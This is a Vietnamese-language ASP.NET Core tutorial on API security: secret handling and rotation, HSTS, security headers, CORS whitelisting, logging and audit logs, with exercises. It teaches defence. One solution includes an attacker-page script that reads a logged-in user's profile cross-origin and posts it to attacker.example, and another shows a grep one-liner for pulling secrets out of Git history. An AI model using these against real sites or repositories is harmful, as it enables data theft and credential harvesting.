10.10 - Security Best Practices
Tóm tắt: Bài này gom những việc luôn đúng cho mọi API .NET, phần lớn tốn vài dòng cấu hình nhưng bịt được những lỗ hổng bị khai thác nhiều nhất. Ba thứ có tác động lớn nhất so với công sức bỏ ra:
CORSvớiAllowAnyOrigincộngAllowCredentialskhông chạy được — và cách người ta "sửa" nó (phản chiếu lại origin của request) chính là tắt hoàn toàn cơ chế bảo vệ same-origin; secret trong Git không xoá được bằng commit mới, phải coi như đã lộ và xoay khoá; và log là nơi rò rỉ dữ liệu phổ biến nhất vì nó được giữ lâu hơn và nhiều người đọc được hơn database.
Mục tiêu bài học
Sau bài này bạn có thể:
- Xử lý đúng khi một secret lọt vào Git.
- Cấu hình HTTPS, HSTS và security header.
- Cấu hình CORS không mở toang.
- Thiết kế audit log dùng được khi điều tra sự cố.
- Rà một API trước khi đưa lên production.
Nội dung bài học
10.10.1 — Bí mật
// SAI — nam trong Git, trong image Docker, trong moi ban sao repo
"Jwt": { "SecretKey": "super-secret-key-123456789012345678901234" }appsettings.json nằm trong Git. Mọi thứ trong đó đều công khai với mọi người từng clone repo, và với mọi lớp trong image Docker.
Khi một secret đã bị commit:
- Xoay khoá ngay. Đây là bước duy nhất thực sự có tác dụng.
- Xoá khỏi lịch sử (
git filter-repo) — chỉ để dọn dẹp, không để khắc phục. - Coi như nó đã bị lộ: repo có thể đã được fork, clone, hoặc có bản sao trong CI cache.
Một commit "xoá secret" không xoá gì cả — nó vẫn nằm trong lịch sử và trong mọi bản sao.
# Development
dotnet user-secrets set "Jwt:SecretKey" "$(openssl rand -base64 48)"# Production — tu secret cua orchestrator
env:
- name: Jwt__SecretKey
valueFrom:
secretKeyRef: { name: crm-secrets, key: jwt-key }Thêm một tầng chặn trong CI để không tái diễn:
- name: Scan for secrets
uses: gitleaks/gitleaks-action@v2Và kiểm tra lúc khởi động rằng secret hợp lệ:
builder.Services.AddOptions<JwtOptions>()
.Bind(builder.Configuration.GetSection("Jwt"))
.Validate(o => Encoding.UTF8.GetByteCount(o.SecretKey) >= 32,
"Jwt:SecretKey phải tối thiểu 32 byte")
.Validate(o => !o.SecretKey.Contains("change-me"),
"Jwt:SecretKey vẫn là giá trị mẫu")
.ValidateOnStart();ValidateOnStart() (bài 7.7) khiến ứng dụng không khởi động được với cấu hình sai — tốt hơn nhiều so với chạy bình thường bằng khoá mẫu.
10.10.2 — HTTPS và HSTS
if (!app.Environment.IsDevelopment())
{
app.UseHsts();
app.UseHttpsRedirection();
}builder.Services.AddHsts(options =>
{
options.MaxAge = TimeSpan.FromDays(365);
options.IncludeSubDomains = true;
options.Preload = true;
});UseHttpsRedirection chỉ chuyển hướng sau khi request HTTP đầu tiên đã đi qua mạng — và request đó có thể đã mang theo cookie. HSTS bảo trình duyệt không bao giờ thử HTTP với tên miền này nữa, kể từ lần thứ hai.
Hai cảnh báo:
Preloadlà một chiều. Đưa tên miền vào danh sách preload của trình duyệt thì gỡ ra mất nhiều tháng. Chỉ bật khi chắc chắn mọi subdomain đều có HTTPS.IncludeSubDomainsáp cho mọi subdomain, kể cả những cái bạn quên. Mộtlegacy.company.comchỉ có HTTP sẽ ngừng truy cập được.
Sau reverse proxy, phải bật UseForwardedHeaders() trước (bài 8.1) — nếu không, ứng dụng thấy mọi request là HTTP và UseHttpsRedirection tạo vòng lặp chuyển hướng vô tận.
10.10.3 — Security header
app.Use(async (context, next) =>
{
var headers = context.Response.Headers;
headers["X-Content-Type-Options"] = "nosniff";
headers["X-Frame-Options"] = "DENY";
headers["Referrer-Policy"] = "no-referrer";
headers["Content-Security-Policy"] = "default-src 'none'; frame-ancestors 'none'";
headers["Permissions-Policy"] = "geolocation=(), microphone=(), camera=()";
headers.Remove("Server");
headers.Remove("X-Powered-By");
await next(context);
});| Header | Chống |
|---|---|
X-Content-Type-Options: nosniff | Trình duyệt đoán kiểu nội dung và thực thi JSON như JavaScript |
X-Frame-Options: DENY | Clickjacking |
Referrer-Policy: no-referrer | Rò rỉ URL (có thể chứa id, token) sang site khác |
Content-Security-Policy | XSS — với API JSON thì default-src 'none' là đúng |
Permissions-Policy | Truy cập thiết bị ngoài ý muốn |
Với API JSON thuần, CSP default-src 'none' là chính xác: API không bao giờ nên tải tài nguyên nào. Nếu bạn phục vụ cả Swagger UI thì cần CSP riêng cho đường dẫn đó.
Gỡ Server giảm thông tin trinh sát. Kestrel gỡ được tại nguồn:
builder.WebHost.ConfigureKestrel(o => o.AddServerHeader = false);10.10.4 — CORS
// SAI — không thể chạy, và cách "sửa" nó còn tệ hơn
policy.AllowAnyOrigin().AllowCredentials(); // nem exception luc khoi dongTrình duyệt cấm kết hợp Access-Control-Allow-Origin: * với Access-Control-Allow-Credentials: true, và ASP.NET Core ném exception ngay lúc khởi động.
Cách "sửa" mà nhiều người tìm thấy trên mạng là phản chiếu origin của request:
// RẤT NGUY HIỂM — chấp nhận MỌI origin
policy.SetIsOriginAllowed(_ => true).AllowCredentials();Nó "hoạt động" — và nó tắt hoàn toàn cơ chế bảo vệ same-origin. Bất kỳ trang web nào cũng gọi được API của bạn kèm cookie của người dùng.
// ĐÚNG — danh sách trắng, đọc từ cấu hình
builder.Services.AddCors(options =>
{
options.AddPolicy("app", policy => policy
.WithOrigins(builder.Configuration.GetSection("Cors:Origins").Get<string[]>()!)
.WithMethods("GET", "POST", "PUT", "PATCH", "DELETE")
.WithHeaders("Authorization", "Content-Type")
.AllowCredentials()
.SetPreflightMaxAge(TimeSpan.FromMinutes(10)));
});
app.UseCors("app"); // TRƯỚC UseAuthorizationNhớ cái bẫy mảng cấu hình ở bài 8.6: khai Cors:Origins ở cả appsettings.json lẫn file môi trường sẽ hợp nhất theo chỉ số, nên một origin lẽ ra đã bị xoá vẫn được chấp nhận trên production.
Nếu API chỉ được gọi từ server khác (không từ trình duyệt), đừng bật CORS. Nó không bảo vệ gì cả — nó chỉ nới lỏng một hạn chế của trình duyệt.
10.10.5 — Không bao giờ ghi hay trả về
// SAI
logger.LogInformation("Dang nhap {Email} voi mat khau {Password}", email, password);
logger.LogDebug("Token: {Token}", accessToken);
return Problem(detail: exception.ToString());| Không bao giờ vào log | Không bao giờ vào response |
|---|---|
| Mật khẩu, kể cả mật khẩu sai | Stack trace |
| Token, API key, connection string | Tên bảng, tên cột |
| Số thẻ đầy đủ, CVV | Phiên bản thư viện |
| Toàn bộ body của endpoint đăng nhập | Thông điệp exception của database |
| Số CMND/CCCD, hồ sơ y tế | Đường dẫn file trên server |
Log được giữ hàng tháng, gửi sang hệ thống bên thứ ba, và nhiều người đọc được hơn database. Rất nhiều sự cố rò rỉ dữ liệu bắt đầu từ log, không phải từ database.
Cẩn thận với destructuring: logger.LogInformation("{@Request}", loginRequest) ghi toàn bộ thuộc tính, gồm cả mật khẩu (bài 8.7).
Và URL cũng vào log — đừng bao giờ đặt token trong query string.
10.10.6 — Audit log
Audit log khác log kỹ thuật: nó trả lời "ai đã làm gì, lúc nào" và phải dùng được khi điều tra.
public sealed class AuditEntry
{
public Guid Id { get; init; } = Guid.NewGuid();
public DateTime OccurredAt { get; init; } = DateTime.UtcNow;
public required string ActorId { get; init; } // AI
public required string Action { get; init; } // LAM GI
public string? TargetType { get; init; } // TREN CAI GI
public string? TargetId { get; init; }
public string? IpAddress { get; init; }
public string? UserAgent { get; init; }
public string? Changes { get; init; } // JSON trước/sau
public required bool Succeeded { get; init; }
}Những sự kiện phải có:
- Đăng nhập thành công và thất bại
- Đăng xuất, đăng xuất tất cả thiết bị
- Đổi mật khẩu, đặt lại mật khẩu
- Gán và gỡ vai trò, cấp và gỡ quyền
- Xoá hoặc sửa dữ liệu nhạy cảm
- Xuất dữ liệu hàng loạt
- Phát hiện tái sử dụng refresh token (bài 10.3)
Bốn nguyên tắc:
- Chỉ ghi thêm. Không
UPDATE, khôngDELETE. Kẻ tấn công vào được hệ thống không được xoá dấu vết. - Ghi cả thất bại. Chuỗi 500 lần đăng nhập thất bại là thông tin quan trọng hơn một lần thành công.
- Tách khỏi log kỹ thuật. Chúng có vòng đời, quyền truy cập và yêu cầu lưu trữ khác nhau.
- Không chứa dữ liệu nhạy cảm. Ghi "đã đổi mật khẩu", không ghi mật khẩu.
Điểm 1 thường bị bỏ qua: nếu audit log nằm cùng database và cùng quyền với dữ liệu nghiệp vụ, nó không bảo vệ được gì trước người có quyền admin.
10.10.7 — Rà lại trước khi lên production
Danh sách rà soát bảo mật
- Không có secret nào trong Git; CI có bước quét secret.
- Secret bị lộ đã được xoay khoá, không chỉ xoá khỏi file.
- Cấu hình bảo mật được validate lúc khởi động với ValidateOnStart.
- HSTS bật ở production, hiểu rõ Preload là một chiều.
- UseForwardedHeaders đặt trước UseHttpsRedirection.
- Security header đầy đủ; header Server đã gỡ.
- CORS dùng danh sách trắng, không phản chiếu origin của request.
- Mảng origin trong cấu hình chỉ khai ở một nơi.
- Không có mật khẩu, token hay số thẻ nào trong log.
- Không trả stack trace hay thông điệp exception ra client ở production.
- Audit log chỉ ghi thêm, ghi cả thất bại, tách khỏi log kỹ thuật.
- Endpoint đăng nhập và quên mật khẩu có rate limit.
- FallbackPolicy yêu cầu đăng nhập được đặt.
- Mọi endpoint nhận id đều kiểm tra quyền trên bản ghi.
- Swagger UI không mở công khai ở production.
- Phụ thuộc được quét lỗ hổng định kỳ (dotnet list package --vulnerable).
Bài tập áp dụng
Bài 1 — CORS phản chiếu origin cộng AllowCredentials
Cấu hình SetIsOriginAllowed(_ => true) với AllowCredentials, rồi từ một trang HTML ở origin khác gọi API kèm cookie. Xác nhận nó thành công — và hiểu vì sao đó là lỗ hổng.
Tiêu chí hoàn thành: bạn giải thích được vì sao đặc tả CORS cấm * cùng credentials, và vì sao phản chiếu origin lách được lệnh cấm đó nhưng nguy hiểm y hệt.
Gợi ý và lời giải — Bài 1
Gợi ý. Trình duyệt tự đính kèm cookie của crm.company.com vào mọi request tới crm.company.com, bất kể trang nào khởi tạo request đó. CORS quyết định ai được đọc kết quả.
Lời giải — cấu hình nguy hiểm:
policy.SetIsOriginAllowed(_ => true) // chấp nhận MỌI origin
.AllowAnyHeader()
.AllowAnyMethod()
.AllowCredentials();Trang của kẻ tấn công:
<!-- https://attacker.example/index.html -->
<script>
fetch('https://crm.company.com/api/v1/me/profile', { credentials: 'include' })
.then(r => r.json())
.then(d => fetch('https://attacker.example/steal', {
method: 'POST', body: JSON.stringify(d) }));
</script>Phản hồi từ API:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.example
Access-Control-Allow-Credentials: trueScript đọc được toàn bộ hồ sơ. Người dùng chỉ cần đang đăng nhập CRM ở một tab khác và mở nhầm một link.
Vì sao đặc tả cấm * cùng credentials. Trình duyệt luôn gửi cookie tới đúng tên miền sở hữu chúng — đó là cách cookie hoạt động từ đầu. Thứ CORS kiểm soát là ai được đọc phản hồi. Nếu cho phép Access-Control-Allow-Origin: * cùng Allow-Credentials: true, thì mọi trang trên Internet đều đọc được dữ liệu đã xác thực của người dùng. Đặc tả chặn thẳng tổ hợp này, và ASP.NET Core ném exception lúc khởi động nếu bạn thử:
InvalidOperationException: The CORS protocol does not allow specifying a wildcard
(any) origin and credentials at the same time.Vì sao phản chiếu origin nguy hiểm y hệt. SetIsOriginAllowed(_ => true) không trả về * — nó đọc header Origin của request rồi trả lại chính giá trị đó. Về mặt cú pháp, đây là một origin cụ thể nên đặc tả cho qua. Về mặt hiệu quả, nó giống hệt *: mọi origin đều được chấp nhận. Lệnh cấm bị lách, còn rủi ro thì nguyên vẹn.
Cấu hình đúng — danh sách trắng đọc từ cấu hình:
builder.Services.AddCors(o => o.AddPolicy("app", p => p
.WithOrigins(builder.Configuration.GetSection("Cors:Origins").Get<string[]>()!)
.AllowAnyHeader()
.AllowAnyMethod()
.AllowCredentials()
.SetPreflightMaxAge(TimeSpan.FromHours(1))));{
"Cors": {
"Origins": [ "https://crm.company.com", "https://admin.company.com" ]
}
}Ba chi tiết dễ sai:
WithOriginskhớp chính xác chuỗi, kể cả scheme và cổng.https://crm.company.comkhông khớphttp://crm.company.comhayhttps://crm.company.com:8443.- Không để dấu
/ở cuối.https://crm.company.com/không bao giờ khớp — headerOriginkhông có dấu gạch chéo cuối. app.UseCors()phải đứng sauUseRoutingvà trướcUseAuthorization. Sai thứ tự thì preflightOPTIONSkhông mang token sẽ bịUseAuthorizationchặn trước khi CORS kịp trả lời — xem bài 8.12.
Và một điều đáng nhớ: CORS không phải cơ chế bảo mật cho server. Nó là quy tắc trình duyệt thực thi. curl, Postman hay một script server-side gọi API của bạn hoàn toàn không quan tâm tới CORS. Bảo vệ thật sự vẫn là xác thực và phân quyền.
Bài 2 — Quét lỗ hổng, kể cả phụ thuộc gián tiếp
Chạy dotnet list package --vulnerable --include-transitive trên một dự án thật. Ghi lại số gói có lỗ hổng đã biết, kể cả phụ thuộc gián tiếp.
Tiêu chí hoàn thành: bạn nêu được vì sao cờ --include-transitive thường làm con số tăng vọt, và cách xử lý một lỗ hổng nằm ở gói bạn không trực tiếp cài.
Gợi ý và lời giải — Bài 2
Gợi ý. Đếm số dòng trong .csproj rồi đếm số gói trong obj/project.assets.json. Hai con số cách nhau rất xa.
Lời giải:
dotnet restore
dotnet list package --vulnerable --include-transitiveProject `Crm.Api` has the following vulnerable packages
[net9.0]:
Top-level Package Requested Resolved Severity Advisory URL
> System.Text.Json 8.0.0 8.0.0 High GHSA-hh2w-p6rv-4g7w
Transitive Package Resolved Severity Advisory URL
> Azure.Identity 1.10.2 Moderate GHSA-m5vv-6r4h-3vj9
> Microsoft.IdentityModel.JsonWebTokens 7.0.3 High GHSA-59j7-ghrg-fj52
> System.Formats.Asn1 8.0.0 High GHSA-447r-wph3-92pmMột gói khai báo trực tiếp, ba gói gián tiếp.
Vì sao --include-transitive làm con số tăng vọt. Một dự án ASP.NET Core điển hình khai báo 15–25 gói trong .csproj, nhưng cây phụ thuộc đầy đủ thường 200–400 gói. Đếm thử:
jq '.libraries | length' obj/project.assets.json
# 287Bạn chịu trách nhiệm về bảo mật của cả 287 gói đó, dù chỉ chọn 20.
Xử lý lỗ hổng ở gói gián tiếp — ba cách, theo thứ tự nên thử:
1. Nâng gói cha. Cách sạch nhất — tìm gói nào kéo nó vào:
dotnet nuget why Crm.Api Microsoft.IdentityModel.JsonWebTokensCrm.Api
└─ Microsoft.AspNetCore.Authentication.JwtBearer (8.0.0)
└─ Microsoft.IdentityModel.JsonWebTokens (7.0.3)Nâng JwtBearer lên bản mới là kéo theo phiên bản đã vá.
2. Ghim phiên bản trực tiếp. Khi gói cha chưa có bản mới:
<PackageReference Include="Microsoft.IdentityModel.JsonWebTokens" Version="8.0.1" />NuGet luôn chọn phiên bản cao nhất, nên khai báo tường minh sẽ ghi đè phiên bản gián tiếp. Cần kiểm thử kỹ vì bạn đang dùng tổ hợp mà gói cha chưa thử.
3. Central Package Management cho giải pháp nhiều project:
<!-- Directory.Packages.props -->
<Project>
<ItemGroup>
<PackageVersion Include="Microsoft.IdentityModel.JsonWebTokens" Version="8.0.1" />
</ItemGroup>
</Project>Một nơi quyết định phiên bản cho mọi project — tránh tình trạng mỗi project một bản khác nhau.
Đưa vào CI để không phải nhớ chạy:
- name: Quét lỗ hổng phụ thuộc
run: |
dotnet restore
dotnet list package --vulnerable --include-transitive 2>&1 | tee vuln.txt
grep -q 'High\|Critical' vuln.txt && {
echo "::error::Có lỗ hổng mức High hoặc Critical"
exit 1
} || true
- name: Quét lại hằng tuần
on:
schedule:
- cron: "0 6 * * 1" # quét lại mỗi thứ HaiLịch chạy hằng tuần quan trọng ngang bước quét trong pull request. Lỗ hổng được công bố sau khi bạn merge. Một dự án không đổi dòng code nào trong ba tháng vẫn có thể tích luỹ lỗ hổng mới — chỉ lịch định kỳ mới phát hiện.
Bài 3 — Secret vẫn còn nguyên trong lịch sử Git
Commit một secret giả, rồi commit tiếp để "xoá" nó. Dùng git log -p tìm lại giá trị cũ và xác nhận nó vẫn còn nguyên.
Tiêu chí hoàn thành: bạn nêu được thứ tự đúng của các bước xử lý khi lỡ đẩy secret, và vì sao "dọn lịch sử" không phải bước đầu tiên.
Gợi ý và lời giải — Bài 3
Gợi ý. Hỏi: trong lúc bạn viết script dọn lịch sử, khoá kia có còn dùng được không?
Lời giải — dựng lại:
echo '{"ApiKey":"sk_live_51H8xKfLm2N3pQr4S"}' > appsettings.Local.json
git add appsettings.Local.json && git commit -q -m "chore: add local config"
git rm --cached appsettings.Local.json -q
echo "appsettings.Local.json" >> .gitignore
git add -A && git commit -q -m "chore: untrack local config"Thư mục làm việc sạch. Nhưng:
git log -p --all -S 'sk_live_' | grep 'sk_live_'+{"ApiKey":"sk_live_51H8xKfLm2N3pQr4S"}Còn nguyên. Và ai cũng lấy được bằng một lệnh:
git clone <repo> && cd repo && git log -p | grep -i 'api.key\|secret\|password'Thứ tự đúng khi lỡ đẩy secret — và bước đầu tiên không phải Git:
1. THU HỒI khoá ở nhà cung cấp <- NGAY LẬP TỨC
2. Phát khoá mới, cập nhật nơi triển khai
3. Kiểm tra log xem khoá cũ đã bị dùng chưa
4. Bỏ theo dõi file, thêm .gitignore
5. Dọn lịch sử — nếu kho còn được chia sẻ
6. Kiểm tra các forkVì sao bước 1 phải đầu tiên. Đồng hồ bắt đầu chạy từ giây bạn git push, không phải từ giây bạn phát hiện. Các dịch vụ quét kho công khai phản ứng trong vài giây:
14:33 Push commit chứa bí mật
14:33 GitHub ghi vào event log (công khai qua API)
14:33 Các dịch vụ quét bí mật tự động đọc thấy
14:34 Bot thử kết nối bằng thông tin vừa lấy được
14:35 Bạn nhận cảnh báo
14:40 Bạn xoá commit <- MUỘN 7 phútViết script git filter-repo mất 20–30 phút. Trong toàn bộ thời gian đó, khoá vẫn còn hiệu lực. Thu hồi mất 2 phút và làm giá trị kia trở thành vô hại ngay — sau đó bạn dọn lịch sử thong thả.
Bước 5, khi cần:
pip install git-filter-repo
git filter-repo --path appsettings.Local.json --invert-paths
git push origin --force --allLưu ý nó viết lại mọi mã băm, nên cả đội phải clone lại. Với kho riêng tư, đội nhỏ, và khoá đã thu hồi, nhiều khi bỏ qua bước này là quyết định hợp lý.
Bước 6 là lý do bước 1 quan trọng hơn tất cả. Nếu kho đã bị fork, các fork vẫn giữ lịch sử cũ và bạn không xoá được chúng. Dù dọn sạch kho gốc, secret vẫn tồn tại ở nơi bạn không kiểm soát. Chỉ việc thu hồi mới thật sự kết thúc vấn đề.
Phòng ngừa — ba lớp, nên có cả ba:
# 1. Hook cục bộ — chặn trước khi commit
brew install gitleaks
gitleaks protect --staged
# 2. Trong CI — chặn trước khi merge
gitleaks detect --source . --redact// 3. Đừng để secret ở dạng có thể commit được
dotnet user-secrets set "ConnectionStrings:CrmDb" "Server=...;Password=..."User Secrets lưu ở thư mục người dùng, ngoài cây mã nguồn — không thể git add nhầm. Nó không mã hoá gì, nhưng nó giải quyết đúng vấn đề mà bài tập này minh hoạ.
Tự kiểm tra
Khi một secret đã bị commit vào Git thì làm gì?
Xoay khoá ngay, đó là bước duy nhất thực sự có tác dụng. Xoá khỏi lịch sử chỉ để dọn dẹp chứ không khắc phục, vì repo có thể đã được fork, clone hoặc có bản sao trong CI cache. Một commit xoá secret không xoá gì cả, giá trị cũ vẫn nằm trong lịch sử.
HSTS giải quyết gì mà UseHttpsRedirection không giải quyết được?
UseHttpsRedirection chỉ chuyển hướng sau khi request HTTP đầu tiên đã đi qua mạng, và request đó có thể đã mang theo cookie. HSTS bảo trình duyệt không bao giờ thử HTTP với tên miền này nữa kể từ lần thứ hai. Nhưng Preload là một chiều và IncludeSubDomains áp cho cả subdomain bạn quên.
Vì sao AllowAnyOrigin không kết hợp được với AllowCredentials?
Vì trình duyệt cấm kết hợp Access-Control-Allow-Origin dấu sao với Allow-Credentials true, và ASP.NET Core ném exception ngay lúc khởi động. Cách sửa mà nhiều người tìm thấy là phản chiếu origin của request, nhưng nó tắt hoàn toàn cơ chế bảo vệ same-origin và cho bất kỳ trang web nào gọi API kèm cookie của người dùng.
API chỉ gọi từ server khác thì có cần CORS không?
Không. CORS là một hạn chế của trình duyệt, nên nó chỉ có ý nghĩa khi API được gọi từ JavaScript trong trình duyệt. Bật CORS cho API gọi từ server không bảo vệ gì cả, nó chỉ nới lỏng một hạn chế không liên quan.
Vì sao log là nơi rò rỉ dữ liệu phổ biến?
Vì log được giữ hàng tháng, gửi sang hệ thống bên thứ ba, và nhiều người đọc được hơn database. Rất nhiều sự cố rò rỉ bắt đầu từ log chứ không phải từ database. Cần cẩn thận cả với destructuring vì nó ghi toàn bộ thuộc tính của object, gồm cả mật khẩu.
Audit log cần những nguyên tắc nào?
Chỉ ghi thêm, không cập nhật và không xoá, để kẻ tấn công vào được hệ thống cũng không xoá được dấu vết. Ghi cả các lần thất bại, vì chuỗi 500 lần đăng nhập thất bại quan trọng hơn một lần thành công. Tách khỏi log kỹ thuật vì khác vòng đời và quyền truy cập. Và không chứa dữ liệu nhạy cảm.
Kết luận
Ba điều đáng nhớ nhất:
- Secret đã commit là secret đã lộ. Xoay khoá, đừng chỉ xoá file.
- Phản chiếu origin trong CORS là tắt bảo vệ same-origin, không phải sửa lỗi.
- Audit log chỉ ghi thêm và ghi cả thất bại — nếu không, nó vô dụng đúng lúc bạn cần nhất.
Tham khảo
Điều hướng
- Bài trước: 10.9 — External Login và OAuth2 (Overview)
- Bài tiếp theo: 10.11 — Mở rộng và đào sâu
- Về module: Trang mục lục